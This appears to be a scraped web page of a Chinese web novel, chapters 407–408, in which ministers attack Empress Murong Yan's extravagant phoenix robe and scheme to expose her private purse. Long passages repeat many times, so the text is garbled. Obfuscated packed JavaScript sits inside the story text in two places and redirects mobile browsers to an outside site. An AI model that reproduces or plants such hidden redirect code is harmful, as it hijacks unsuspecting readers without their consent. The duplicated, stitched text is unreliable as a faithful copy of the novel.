“单看这拖尾,行走间得多费周折,这岂是一国之君该有的样子?简直是荒唐至极!” 他们言语间满是痛心疾首,手中的笏板都因激动而微微颤抖。 “哼,这般铺张浪费,国库里的银子还经得起几回折腾?” “我等身为臣子,食君之禄,忠君之事,若不及时纠正陛下这错误,日后朝堂奢靡之风盛行,国将不国啊!这江山社稷还要不要了?” “陛下!”最后御史台言官步尘举着笏板站出来说道:“陛下太过分了!” 着龙凤呈祥的绝美图案,袍角处绣着的如意云纹,形态各异,给人以轻盈之感。 山川河流的图案针法细腻到极致,峰峦起伏、水流潺潺,让人叹为观止。 而身后那长达二十米的拖尾,拖地的锦缎上绣满了凤凰。 火红色的凤凰在金色的锦缎上肆意翱翔,它们的羽毛以丝线的疏密表现出厚薄,再点缀上晶莹的珍珠、璀璨的宝石,仿若清晨带露的鲜花般娇艳欲滴。 每一只凤凰都有独特的姿态,有的双翅齐展,翱翔九天;有的单爪独立,傲视群雄;有的相互依偎,比翼**。 每一针每一线都倾注了数位绣工毕生的心血,耗费的丝线不计其数,所呈现出的效果堪称震撼。 当慕容嫣迈出第一步,拖尾如同一道绚丽的彩虹缓缓展开,许久之后,殿外的侍卫才看到那拖尾的尽头蜿蜒而出,所经之处,地砖上的龙凤雕刻都仿若黯然失色,沦为陪衬。 慕容嫣仪态万千地走向凤椅,每一步都沉稳优雅。 待她缓缓落座,凤椅上雕刻的龙凤仿若也活了过来,与她身上的凤袍、凤冠相映成趣。 群臣见状,忙纷纷跪地,高呼:“吾皇万岁万万岁!” 呼声在殿内回荡,震得殿梁上的尘埃簌簌而落。 可待众人起身,细微的议论声却如潮水般悄然蔓延开来。 尤其是言官们,他们觉得自己十分失职。 “陛下这一身行头,简直奢靡到了极点啊!” “单看这拖尾,行走间得多费周折,这岂是一国之君该有的样子?简直是荒唐至极!” 他们言语间满是痛心疾首,手中的笏板都因激动而微微颤抖。 “哼,这般铺张浪费,国库里的银子还经得起几回折腾?” “我等身为臣子,食君之禄,忠君之事,若不及时纠正陛下这错误,日后朝堂奢靡之风盛行,国将不国啊!这江山社稷还要不要了?” “陛下!”最后御史台言官步尘举着笏板站出来说道:“陛下太过分了!” 着龙凤呈祥的绝美图案,袍角处绣着的如意云纹,形态各异,给人以轻盈之感。 山川河流的图案针法细腻到极致,峰峦起伏、水流潺潺,让人叹为观止。 而身后那长达二十米的拖尾,拖地的锦缎上绣满了凤凰。 火红色的凤凰在金色的锦缎上肆意翱翔,它们的羽毛以丝线的疏密表现出厚薄,再点缀上晶莹的珍珠、璀璨的宝石,仿若清晨带露的鲜花般娇艳欲滴。 每一只凤凰都有独特的姿态,有的双翅齐展,翱翔九天;有的单爪独立,傲视群雄;有的相互依偎,比翼**。 每一针每一线都倾注了数位绣工毕生的心血,耗费的丝线不计其数,所呈现出的效果堪称震撼。 当慕容嫣迈出第一步,拖尾如同一道绚丽的彩虹缓缓展开,许久之后,殿外的侍卫才看到那拖尾的尽头蜿蜒而出,所经之处,地砖上的龙凤雕刻都仿若黯然失色,沦为陪衬。 慕容嫣仪态万千地走向凤椅,每一步都沉稳优雅。 待她缓缓落座,凤椅上雕刻的龙凤仿若也活了过来,与她身上的凤袍、凤冠相映成趣。 群臣见状,忙纷纷跪地,高呼:“吾皇万岁万万岁!” 呼声在殿内回荡,震得殿梁上的尘埃簌簌而落。 可待众人起身,细微的议论声却如潮水般悄然蔓延开来。 尤其是言官们,他们觉得自己十分失职。 “陛下这一身行头,简直奢靡到了极点啊!” “单看这拖尾,行走间得多费周折,这岂是一国之君该有的样子?简直是荒唐至极!” 他们言语间满是痛心疾首,手中的笏板都因激动而微微颤抖。 “哼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288623|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这般铺张浪费,国库里的银子还经得起几回折腾?” “我等身为臣子,食君之禄,忠君之事,若不及时纠正陛下这错误,日后朝堂奢靡之风盛行,国将不国啊!这江山社稷还要不要了?” “陛下!”最后御史台言官步尘举着笏板站出来说道:“陛下太过分了!” 着龙凤呈祥的绝美图案,袍角处绣着的如意云纹,形态各异,给人以轻盈之感。 山川河流的图案针法细腻到极致,峰峦起伏、水流潺潺,让人叹为观止。 而身后那长达二十米的拖尾,拖地的锦缎上绣满了凤凰。 火红色的凤凰在金色的锦缎上肆意翱翔,它们的羽毛以丝线的疏密表现出厚薄,再点缀上晶莹的珍珠、璀璨的宝石,仿若清晨带露的鲜花般娇艳欲滴。 每一只凤凰都有独特的姿态,有的双翅齐展,翱翔九天;有的单爪独立,傲视群雄;有的相互依偎,比翼**。 每一针每一线都倾注了数位绣工毕生的心血,耗费的丝线不计其数,所呈现出的效果堪称震撼。 当慕容嫣迈出第一步,拖尾如同一道绚丽的彩虹缓缓展开,许久之后,殿外的侍卫才看到那拖尾的尽头蜿蜒而出,所经之处,地砖上的龙凤雕刻都仿若黯然失色,沦为陪衬。 慕容嫣仪态万千地走向凤椅,每一步都沉稳优雅。 待她缓缓落座,凤椅上雕刻的龙凤仿若也活了过来,与她身上的凤袍、凤冠相映成趣。 群臣见状,忙纷纷跪地,高呼:“吾皇万岁万万岁!” 呼声在殿内回荡,震得殿梁上的尘埃簌簌而落。 可待众人起身,细微的议论声却如潮水般悄然蔓延开来。 尤其是言官们,他们觉得自己十分失职。 “陛下这一身行头,简直奢靡到了极点啊!” “单看这拖尾,行走间得多费周折,这岂是一国之君该有的样子?简直是荒唐至极!” 他们言语间满是痛心疾首,手中的笏板都因激动而微微颤抖。 “哼,这般铺张浪费,国库里的银子还经得起几回折腾?” “我等身为臣子,食君之禄,忠君之事,若不及时纠正陛下这错误,日后朝堂奢靡之风盛行,国将不国啊!这江山社稷还要不要了?” “陛下!”最后御史台言官步尘举着笏板站出来说道:“陛下太过分了!” 着龙凤呈祥的绝美图案,袍角处绣着的如意云纹,形态各异,给人以轻盈之感。 山川河流的图案针法细腻到极致,峰峦起伏、水流潺潺,让人叹为观止。 而身后那长达二十米的拖尾,拖地的锦缎上绣满了凤凰。 火红色的凤凰在金色的锦缎上肆意翱翔,它们的羽毛以丝线的疏密表现出厚薄,再点缀上晶莹的珍珠、璀璨的宝石,仿若清晨带露的鲜花般娇艳欲滴。 每一只凤凰都有独特的姿态,有的双翅齐展,翱翔九天;有的单爪独立,傲视群雄;有的相互依偎,比翼**。 每一针每一线都倾注了数位绣工毕生的心血,耗费的丝线不计其数,所呈现出的效果堪称震撼。 当慕容嫣迈出第一步,拖尾如同一道绚丽的彩虹缓缓展开,许久之后,殿外的侍卫才看到那拖尾的尽头蜿蜒而出,所经之处,地砖上的龙凤雕刻都仿若黯然失色,沦为陪衬。 慕容嫣仪态万千地走向凤椅,每一步都沉稳优雅。 待她缓缓落座,凤椅上雕刻的龙凤仿若也活了过来,与她身上的凤袍、凤冠相映成趣。 群臣见状,忙纷纷跪地,高呼:“吾皇万岁万万岁!” 呼声在殿内回荡,震得殿梁上的尘埃簌簌而落。 可待众人起身,细微的议论声却如潮水般悄然蔓延开来。 尤其是言官们,他们觉得自己十分失职。 “陛下这一身行头,简直奢靡到了极点啊!” “单看这拖尾,行走间得多费周折,这岂是一国之君该有的样子?简直是荒唐至极!” 他们言语间满是痛心疾首,手中的笏板都因激动而微微颤抖。 “哼,这般铺张浪费,国库里的银子还经得起几回折腾?” “我等身为臣子,食君之禄,忠君之事,若不及时纠正陛下这错误,日后朝堂奢靡之风盛行,国将不国啊!这江山社稷还要不要了?” “陛下!”最后御史台言官步尘举着笏板站出来说道:“陛下太过分了!” 着龙凤呈祥的绝美图案,袍角处绣着的如意云纹,形态各异,给人以轻盈之感。 山川河流的图案针法细腻到极致,峰峦起伏、水流潺潺,让人叹为观止。 而身后那长达二十米的拖尾,拖地的锦缎上绣满了凤凰。 火红色的凤凰在金色的锦缎上肆意翱翔,它们的羽毛以丝线的疏密表现出厚薄,再点缀上晶莹的珍珠、璀璨的宝石,仿若清晨带露的鲜花般娇艳欲滴。 每一只凤凰都有独特的姿态,有的双翅齐展,翱翔九天;有的单爪独立,傲视群雄;有的相互依偎,比翼**。 每一针每一线都倾注了数位绣工毕生的心血,耗费的丝线不计其数,所呈现出的效果堪称震撼。 当慕容嫣迈出第一步,拖尾如同一道绚丽的彩虹缓缓展开,许久之后,殿外的侍卫才看到那拖尾的尽头蜿蜒而出,所经之处,地砖上的龙凤雕刻都仿若黯然失色,沦为陪衬。 慕容嫣仪态万千地走向凤椅,每一步都沉稳优雅。 待她缓缓落座,凤椅上雕刻的龙凤仿若也活了过来,与她身上的凤袍、凤冠相映成趣。 群臣见状,忙纷纷跪地,高呼:“吾皇万岁万万岁!” 呼声在殿内回荡,震得殿梁上的尘埃簌簌而落。 可待众人起身,细微的议论声却如潮水般悄然蔓延开来。 尤其是言官们,他们觉得自己十分失职。 “陛下这一身行头,简直奢靡到了极点啊!” “单看这拖尾,行走间得多费周折,这岂是一国之君该有的样子?简直是荒唐至极!” 他们言语间满是痛心疾首,手中的笏板都因激动而微微颤抖。 “哼,这般铺张浪费,国库里的银子还经得起几回折腾?” “我等身为臣子,食君之禄,忠君之事,若不及时纠正陛下这错误,日后朝堂奢靡之风盛行,国将不国啊!这江山社稷还要不要了?” “陛下!”最后御史台言官步尘举着笏板站出来说道:“陛下太过分了!” 第407章 上当了吧 金銮殿内气氛凝重得仿若能攥出水来。 阳光透过雕花窗棂倾洒而入却未能驱散那如乌云蔽日般的压抑。高悬的龙涎香悠悠飘散却掩不住即将爆发的汹涌暗潮。 言官步尘身着一袭青素官袍腰束革带头戴乌纱此刻他向前迈出一大步那官靴踏在金砖之上发出声声闷响打破了殿内的死寂。 他清了清嗓子声音陡然拔高在殿宇间回荡。 “陛下您实在是太过分了臣今日不得不言!您最近这段时间的所作所为过于铺张浪费!您瞧瞧您每日所着服饰绫罗绸缎尽选最上等绣工繁杂精美至极珠翠宝石更是不计其数 慕容嫣坐在凤椅上双手下意识地攥紧了凤袍的衣角那精美的绸缎在她指尖微微变形。 头顶凤冠上垂下的珠帘晃动着发出细碎的碰撞声。 她深吸一口气凤目圆睁死死地盯着步尘贝齿紧咬下唇直至咬出一道浅浅白痕良久才从牙缝中挤出话来。 “朕身为皇帝连天下都是朕的难道连挑选自己喜欢的衣服这点权力都没有?你们莫不是要朕身着粗布麻衣与那田间老农无异才算是合乎你们心意?” “陛下臣没有让陛下穿粗布麻衣而是您的凤袍实在太过贵重!金丝银缕缠绕珍奇异宝镶嵌这耗费的钱财足够赈济一方灾民让百姓免受饥寒之苦。陛下您肩负江山社稷如此铺张岂不是忘了民生之艰!” “你所言民生之艰朕又何尝不知?朕没日没夜地审阅奏章哪一件关乎百姓温饱、社稷安危的事情朕不是呕心沥血去思量?可这凤袍于朕而言并非仅是一件衣物。” 慕容嫣深吸一口气而后缓缓从凤椅上站起身来。 随着她这一起身的动作头顶那庄重华美的凤冠率先有了反应。 凤冠之上金丝精心缠绕而成的凤凰造型仿佛瞬间被注入了生命振翅欲飞。 凤冠四周垂下的珠帘皆是以圆润的南海珍珠串就颗颗晶莹剔透此刻它们相互碰撞发出一连串细碎而清脆的声响如同一曲灵动的乐章打破了殿内凝重的寂静。 那珠帘的抖动恰似慕容嫣此刻激荡的心境虽外表波澜不惊内里实则汹涌澎湃。 再看她身上的凤袍这凤袍乃是集天下能工巧匠之力耗时三年精心 缝制而成。 袍身以明黄色的顶级绸缎为底,那绸缎光泽温润,触手生温,其上用金银丝线绣满了形态各异的凤凰,或翱翔九天,或栖于梧桐,栩栩如生,呼之欲出。 凤凰周围,又点缀着五彩的宝石与圆润的珍珠,在殿内微光的映照下,闪烁着璀璨夺目的光芒,仿若将漫天星辰皆披挂于身。 凤袍的拖尾更是长达二十米,其上绣纹繁复,用工精细,拖在地上,如同一朵缓缓绽放的金色云霞,随着慕容嫣的起身,轻轻摆动,发出簌簌的细微声响。 慕容嫣莲步轻移,走下高台,双手似有若无地轻轻提起裙摆两侧,那姿态优雅而从容,却又透着不容置疑的威严。 每一步落下,凤袍拖尾都随之微微起伏。 她就这样一步一步,不疾不徐地站在了群臣面前,身姿挺拔如松,目光冷峻似电,居高临下地俯视着众人。 此时的她,不再仅仅是一位女子,而是掌控乾坤的帝王,那股从骨子里散发出来的威严之气,让群臣下意识地垂下头颅,不敢与之对视。 整个金銮殿内,唯余她裙摆摆动的簌簌声,以及众人压抑的呼吸声,仿佛时间都为她而静止,空间都因她而收缩,所有人都被笼罩在她强大的气场之下。 她款步走下台阶,目光扫过众臣,说道:“朕以女子之身,登上帝位,打破的是千百年来的陈规旧矩。这一路上有多少质疑,有多少谩骂,你们可曾知晓?这凤袍,就是朕的战甲!当朕身着凤袍面对满朝文武,面对天下苍生时,它可以给予朕力量,让朕时刻铭记自己的身份与责任。” 慕容嫣话音刚落,工部尚书宋正林便出列了。 这人以前是中立派,后来变成林臻的死忠,现在也忠心慕容嫣。 但即便如此,他也觉得慕容嫣的穿着太过奢华,这简直不像个皇帝。 他年逾五十,面容清瘦,颌下几缕长须,透着几分文人的儒雅与干练。 只见他微微躬身,双手抱拳行了一礼,沉声道:“陛下息怒,臣深知陛下治国不易,也明白陛下的苦衷。陛下确实有挑选衣服的权力,这是毋庸置疑的事情。而且臣也认为您的凤袍很好看,很华丽。” 宋正林说完其他官员都是瞪大眼睛。 这死老头什么时候也这么趋炎附势了?尤其是步尘,他站出来指责道:“尚书大人!你这样说是会误导陛下的!你是何居心!?” 宋正林都没搭理他。 因为他知道,步尘这个人就是言官,劝谏是他的工作,甚至很多时候慕容嫣 就算没问题他也得找找茬,以体现出他身为言官的作用。 但虽然林臻对整个大乾的改革,言官的作用已经越来越小了,因为林臻不喜欢孔孟的德行操守那一套。 慕容嫣脸色稍缓,却见宋正林正了正衣冠,说道:“然当下我大乾局势,陛下也不可不察。前些年战乱频发,虽如今在陛下的英明领导下,国力刚刚有所恢复,可处处仍是百废待兴。百姓家中尚有诸多难处,田间水利待修,城池壁垒需固,这一桩桩、一件件,每一项皆是烧钱之举,此时将财力耗费在凤袍上,是否.不妥?臣以为,此时应把更多的钱用在这些该用的地方,方不负陛下对臣等的重托,不负百姓的期盼。” 慕容嫣轻轻摇头,嘴角勾起一抹浅笑:“宋爱卿所言极是,工程建设确为重中之重。但你且看,现在各国都有派使者在京城暗暗观察,这凤袍就是大乾的颜面。朕以盛装示人,彰显的是大乾的国力昌盛,让他国不敢小觑。朕身处这皇位,一举一动皆为**,穿这凤袍,为的是在无形中稳住朝堂,震慑四方。” “狡辩!陛下,难道说一件衣服就能让外国对我大乾低头吗?”步尘又站了出来,一点面子没给慕容嫣留。 不过现在慕容嫣已经不生气了,既然群臣把这件事情提出来,她干脆就一次性解决,省得日后再出来闹。 兵部尚书刘恺威亦是眉头紧锁。 犹豫了一瞬后,终是咬咬牙,大步跨出,作揖道。 “陛下,臣也有话要说。臣掌管兵部,深知将士们的不易。他们戍守边疆,风餐露宿,与敌寇浴血奋战,为的便是保我大乾国泰民安。可如今军饷微薄,许多将士家中妻儿老小都难以温饱。若是困难时期也就罢了,可偏偏陛下您如此奢靡地置办衣物,耗费巨资,若能将这做衣服的钱拿出来,给将士们稍微涨涨军饷,必能让他们感恩戴德,士气大振,于我大乾江山稳固,益处无穷啊!” 慕容嫣目光转向刘恺威,眼神中透着坚定。 “刘爱卿说的也有道理,将士们的付出朕都看在眼里,疼在心里。可你想过没有,若朕身为女帝,在朝堂之上邋里邋遢,穿着朴素,如何让将士们信服朕有治理天下的能力?如何让他们心甘情愿为朕抛头颅、洒热血?这凤袍所承载的威望,能让将士们知道,他们守护的是一个荣耀辉煌的大乾,他们的奉献是值得的!” 紧接着,司马忠也上前一步,面色冷峻,目光直视慕容嫣,朗声道。 “陛下,古往今来,为君者皆当为百官做表率,清正廉洁乃是治国之基。陛下既已开 辟女帝之先河自是要比历代帝王更加谨言慎行才对稍有差池便会落人口实引发朝堂动荡、民心不稳。臣恳请陛下思量一二摒弃奢靡之风重拾简朴之道。” 慕容嫣停下脚步站在殿中环顾四周声音陡然拔高。 “丞相朕问你若一味简朴百姓见朕如此是否会认为大乾穷困潦倒?朕既要让百姓看到朕亲民爱民也要让他们坚信大乾的繁荣富强。朕的凤袍是符号是象征朕用它告诉世人女子亦能撑起这**江山亦能让大乾走向巅峰!朕穿它不是为了满足私欲而是为了大乾的长治久安!” 言罢朝廷死一般的沉寂。 就没见过这么能诡辩的连步尘这样的言官也被慕容嫣怼得哑口无言。 慕容嫣说的有道理吗? 从她这个角度思考确实有道理。 她是千古以来的第一位女帝自然需要利用外在的条件来稳固她在群臣心目中的形象。 但这点对当臣子而言又很难接受。 他们在乎的是国家是民生是社稷不是你女帝的形象。 慕容嫣见群臣一时沉默便趁热打铁再次开口。 “诸位爱卿朕明白你们心系民生、担忧国运。这份忠诚 步尘梗着脖子分毫不让。 “陛下恕臣直言国之根基在于百姓若百姓食不果腹、衣不蔽体空有这奢华凤袍又有何用?陛下就算要立威也当以仁政为先把这做凤袍的钱财拿去兴修水利、开垦荒地让百姓实实在在受益那才是真正的底气!” 慕容嫣微微眯眼目光扫过步尘语气不疾不徐。 “布爱卿你所言的仁政朕从未有一日懈怠。朕已下令各地官员减免赋税到今天农税已经达到了十税三朕问你别说大乾就是放眼整个天下有哪个国家能做到农税十税三!?” “这” 这没办法反驳。 慕容嫣确实做到了而且地主阶级没有**。 民间现在对她的呼声非常高甚至很多山村里已经在建造慕容嫣的雕像就是为了纪念这一伟大盛举。 十税三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298114|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 哪个国家也做不到。 慕容嫣见 他不说话,嘴角露出一道笑意:“朕难道施行的不是仁政?不是为了百姓生计? 步尘拱手道:“陛下确实为百姓谋了福祉,可这跟您的凤袍有什么关系?如果把做凤袍的钱拿出来,京城周边的百姓的农税就能降到十税二。 “你不知道。这凤袍正是朕推行仁政的助力。朕身着它接见各国使节,展现大乾雄厚财力,换来的是有利的通商条约,能引入他国物资、技术,最终受益的还是大乾百姓。你怎知朕的考量不是长远之计? 步尘说道:“可即便如此,可国内诸多事务千头万绪,处处都需要钱。新修官道缺银钱,以致进度缓慢,货物运输不畅,影响经济流通;还有各地学堂因资金短缺,难以聘请良师,贻误学子前程。这些皆是亟待解决的燃眉之急,陛下怎可本末倒置,执着于这凤袍的奢华? 慕容嫣轻轻踱步,凤袍随风轻摆,美轮美奂。 她的声音沉稳有力。 “朕并非不顾及这些。官道修建、学堂发展,朕已有规划,后续资金户部自会落实到位。况且朕的凤袍用的也不是国库的钱,何谈燃眉之急?你们想想,这凤袍穿在朕身上,引发的是朝堂热议、民间**,让朕时刻处于焦点,这就迫使朕做事必须更加谨慎周全,这不正是督促朕将各项政策落实得更好吗??它就如同警钟,时刻提醒朕不能犯错,这间接带来的益处,远超其本身价值。 “那边疆将士们在生死线上搏杀又怎么算?他们为了大乾浴血奋战,可得到的却如此之少。这凤袍价值连城,若折换成兵器粮草送往前线,能救下多少将士性命,能让边疆稳固几分。陛下身为女帝,当以将士之心为心,怎可贪恋这虚荣之物? 慕容嫣神色一凛,目光灼灼地看向步尘。 “你怎知朕不顾将士死活?朕多次亲赴军营犒劳,颁布嘉奖令,提升抚恤标准,哪一样不是为了将士?就说代县大战,朕亲自批阅,提高将士抚恤到一百两!军饷更是从六百文钱提高到三两纹银。所以呢?朕穿个凤袍就会影响将士们杀敌?还是会影响他们的忠诚? 慕容嫣挥舞袖子,上面的凤凰随之摆动,活灵活现,美不胜收。 “这凤袍看似奢华,实则是一种精神象征。将士们听闻朕身着它处理国事,威风八面,他们会觉得自己守护的是一个尊贵荣耀的大乾,会更加奋勇杀敌。朕用这凤袍凝聚军心,不比几车兵器粮草作用小! 司马忠见她与步尘僵持不下,又站出来说道:“陛下,微臣绝不是危言耸听,历来奢靡之风盛行之地,必生祸 乱。陛下既为女帝,就应有别于常人,需克制欲望,简朴持家,方能给后世子孙树立楷模,保大乾江山永固。” 慕容嫣不假思索地回复他。 “丞相,你和王爷一样,一生刚正,朕都敬重有加。但朕所做的一切,恰是为了给后世子孙创造更好的条件。朕打破常规,以女子之身君临天下,这过程中必须有果敢之举、独特之法。 这凤袍承载着朕的信念与大乾的未来,它见证朕如何在荆棘中开辟道路,让后人知晓,大乾在朕手中,不仅没有衰败,反而走向辉煌。朕今日身着它,是为了明日大乾子民能身着华服,安居乐业。” 步尘说道:“那就请陛下做出让百姓安居乐业的事情,如果不做,臣宁死也要阻止陛下的奢靡之风。” “你!” 慕容嫣没想到自己刚才的一番话都白说了。 “那你说如何?” “不如陛下开放皇宫内务府,在户部设置办公地点,好让微臣们知道陛下的收入是多少,有多少用来您自己的消费,有多少用来建设民生,多余的钱是不是该由户部掌管以用于其他需要的地方?如此方可证明陛下仁**国之心。” 靠! 上当了! 这几个大臣都是商量得好,目前在于慕容嫣手里的钱! 他们希望把这笔钱从慕容嫣的手里抠出来,然后用在其他地方。 慕容嫣攥紧粉拳,怒极反笑。 “呵呵呵呵,好,好啊!你们一个个都口口声声为朕、为大乾着想。到头来算计的却是朕的小金库!朕告诉你们,这钱来路清白,是世子给朕的分红!朕可以对外公开,甚至可以公开打造一件凤袍要多少钱,但是你们记住!以后朕的凤袍,任何人都不许指指点点!朕乃千古以来第一位女帝,自该有女帝的特点和风范!那些循规蹈矩、毫无生趣的日子朕不会去过,也永远不会向你们男权低头!” “朕既坐在这皇位上,便要让天下人知晓,女子治天下,亦能不输男子分毫!” “气死朕了,退朝!” 第408章 钱钱钱!这些官员眼里就只有钱! 要说皇帝的私人财产该不该公开呢? 其实这个真的不重要,也没有人在乎。 就像百姓以为皇帝都拿金锄头耕地是一样的,他们根本就不知道多少钱才算大钱,也没有这个概念。 但是官员是知道的,今天步尘来当这个出头鸟,就是希望慕容嫣可以曝光她的个人身价,从而日后好针对她的财富来进行劝谏。 比方说慕容嫣现在钱多,那就拿出来一些给官员发发福利,虽然现在也在发,但终究是蚂蚱腿不解馋。 因为慕容嫣搞的廉政反腐,让很多官员都变成了大穷鬼。 暗地里有产业支撑的官员家还能好一些。 至于那些纯靠俸禄过日子的,都快吃糠咽菜了,步尘世看在眼里,疼在心里。 虽说发财就不要当官,当官就不要发财。 但咱也不能当个官,当着当着饿**吧?所以他需要这个机会,来向慕容嫣表示。 既然你搞出来的廉政反腐,那官员的福利就由你来提高吧。 更何况你自己还穿得这么奢华,你让那些穷困的官员怎么想?以后还能一心一意地忠心于你吗?所以说这件事情,于情于理,都得做出来。 这一下,官员们开心了。 以慕容嫣穿着的奢华程度看,她很有钱,那以后官员的福利待遇就绝不会少了。 但是慕容嫣不开心,而且很不开心! 她自己本身就是个抠门的性子,又是从小穷怕得了主,为了以后群臣能对她穿凤袍这件事情闭嘴,而做出这么大的牺牲。 她怎能不气? 上午的阳光仿若被筛子细细筛过,丝丝缕缕,透过朱红宫墙之上繁复雕花的缝隙,轻柔地倾洒在皇宫的回廊里,为这悠长静谧的廊道晕染上一层如梦似幻的金芒。 慕容嫣双颊气得鼓鼓的,像春日里熟透的粉嫩桃,那娇艳欲滴的色泽中透着不甘与倔强,以及.破财的愤怒。 她莲步匆匆,大步流星地向前迈去,鞋跟叩击着石板地面,发出清脆而急促的声响。 且看她头顶那巧夺天工的凤冠,当真是稀世珍宝。 凤冠以赤金精心锻铸为基,质地醇厚,熠熠生辉。 其上的金丝纤细精巧,细如牛毛却坚韧无比,匠人凭借着鬼斧神工的技艺,将这些金丝缠绕、编织,勾勒出一只栩栩如生、振翅欲飞的金凤。 金凤的双翅舒展,根根分明,或微微上扬,或轻轻卷曲,在风中轻轻颤动,随时准备翱翔九霄。 金凤的头颅高昂,脖 颈处的弧线优雅流畅,而它那一对凤目,竟是用两颗珍稀无比的鸽血红红宝石镶嵌而成,在阳光的映照下,宛如燃烧的烈烈真火,喷薄而出的威严气息让人心生敬畏。 凤冠四周,垂下层层珠帘,这些珠帘皆是由产自南海深海、圆润无瑕的上等珍珠串就,每一颗珍珠都散发着柔和而迷人的温润光泽。 珍珠大小均匀,色泽一致,随着慕容嫣的走动,珠帘相互碰撞,发出一连串如大珠小珠落玉盘般清脆悦耳的声响。 再瞧她身上那件举世无双的凤袍,更是将她的曼妙身姿衬托得淋漓尽致。 袍身底色纯正明黄,那是皇权独尊的象征,闪耀着刺目的金光,让人不敢直视。 面料精选自天南海北、**挑一的顶级丝绸,质地轻盈、触手生温,轻轻一抖,便似有璀璨的流光溢彩倾泻而出。 绣娘们倾尽毕生心血,用金银丝线在袍上精心绣制出漫天飞舞的凤凰,这些凤凰形态各异,风姿绰约。 有的凤凰双翅展开,仰头高歌,似在向天地宣告着什么;有的凤凰两两相依,亲昵地梳理着彼此的羽毛,尽显温情;还有的凤凰单足独立,回首凝望,眼中透着灵动与狡黠。 每一只凤凰周围,都点缀着五彩斑斓、晶莹剔透的宝石与细腻温润的珍珠,宝石的璀璨光芒与珍珠的温润光泽相互辉映,使得这件凤袍在阳光下闪烁着如梦如幻的光彩。 凤袍拖尾长长地拖曳在身后,足有二十米,拖尾之上,绣的是四季繁花与宫廷盛景。 春日的牡丹娇艳欲滴,花瓣层层叠叠;夏日的荷花亭亭玉立,绽放在翠绿的荷叶之间,随风摇曳,尽显清幽;秋日的菊花傲霜怒放,金黄的花瓣肆意舒展,展现着顽强的生命力;冬日的梅花暗香疏影,点点红梅在皑皑白雪映衬下,别具一番韵味。 繁花之间,宫廷楼阁错落有致,飞檐斗拱、朱门铜环皆清晰可见,随着慕容嫣的走动,拖尾仿若一条流淌着金色光辉的河流蜿蜒游动,发出簌簌的细微声响,似在诉说着大乾宫廷的繁华与昌盛。 就这一身行头,百官不起搜刮的心思才怪呢。 他们都快穷哭了。 慕容嫣一路疾行,所经之处,微风轻轻拂动,带起她凤袍的一角,阳光在那衣角上跳跃,好像点燃了一小簇金色的火花。 她的目光直直地盯着前方,回廊两旁的宫女太监们见此情景,纷纷跪地请安,低垂着头,不敢发出半点声响,生怕惊扰了这位怒火冲天的帝王。 要知道慕容嫣不会轻易杀大臣,但是杀他们,只 是一句话的事情。 “气死朕了,气死朕了!”慕容嫣攥着粉拳,一路从金銮殿走到养心殿都没有消气。 慕容无舌和麝月跟在她身边,大气都不敢出。 最后慕容嫣坐在养心殿的凤椅上,一巴掌拍向面前的凤案。 砰—— 巨大的力量震得凤案险些散架。 “钱钱钱!这些官员眼里就只有钱!朕赚这点钱容易吗?他们就这么惦记!” 慕容无舌趋步上前,说道:“陛下,官员们自从反腐开始,家境愈发贫寒起来,老奴建议,是不是应该再提高下官员的俸禄?这样从国库拿钱,总比您自掏腰包要好吧?” “朕就纳闷了,明明官员的俸禄已经照去年提高了一倍,他们怎么还这样过日子?就不能节俭点么!” 慕容无舌暗暗地撇了撇嘴。 你让人家节俭,然后自己做衣服花一万多两。 这是个人就不能平衡啊。 慕容嫣说道:“不行,按照他们的说话,朕除了做衣服以外的任何收入都得奉献出去!凭什么?你去喊林臻进宫,立刻把赌场的分红增加到五万,否则朕就又变回穷鬼了!” “奴才遵旨。” 无舌刚要出去,就见吏部尚书钱书恒在殿外候旨,随即有小太监走了进去。 “启禀陛下,吏部尚书钱大人在殿外候旨。” “让他进来。” “遵旨。” “宣吏部尚书钱书恒上殿觐见。” 吏部尚书钱书恒撩起厚重的官袍下摆,跨过那高高的门槛,稳步走进养心殿。 一入殿内,他便径直朝着慕容嫣所在的方位,恭恭敬敬地双膝跪地,口中高呼:“微臣参见陛下,陛下万岁万万岁!” 他的声音低沉而洪亮,在空旷的大殿内回荡,透着十足的恭敬之意。 “平身。” “谢陛下。” 礼毕,钱书恒缓缓起身,双手交叠置于身前,微微躬身,再次开口。 “陛下,微臣已经重新悉心整理了赴任叶县县令的人选,此番选拔,微臣斟酌许久,为的是能让臣子们尽心竭力为陛下办事。所以微臣所选之人,皆是当年因些许过错被贬谪,或是在科考中不幸落榜的优等人才。这些人历经挫折,深知机会来之不易,一旦得蒙陛下重用,必定感恩戴德,肝脑涂地在所不辞。” 说着,他从袖中小心翼翼地掏出一份名册,双手捧着,高高举过头顶:“恳请陛下过目。” 慕容嫣轻轻抬手,示意 麝月将名册接过呈递上来。 她展开名册,目光缓缓扫过其上一个个名字,这些名字背后,皆是一段段或坎坷或惋惜的故事。 这次钱书恒整理得十分细致,甚至连推荐官员的祖上三代都做了详细说明。 她的手指轻轻在纸面摩挲,良久,还是摇了摇头。 “都不行,朕推荐一个吧。” “微臣谨遵陛下旨意。”嘴上说得恭敬,心里暗骂。 你明明早有人选了,还非让我折腾什么? 你知不知道,这时我好几天都没睡觉才整理出来的名单。 坑人。 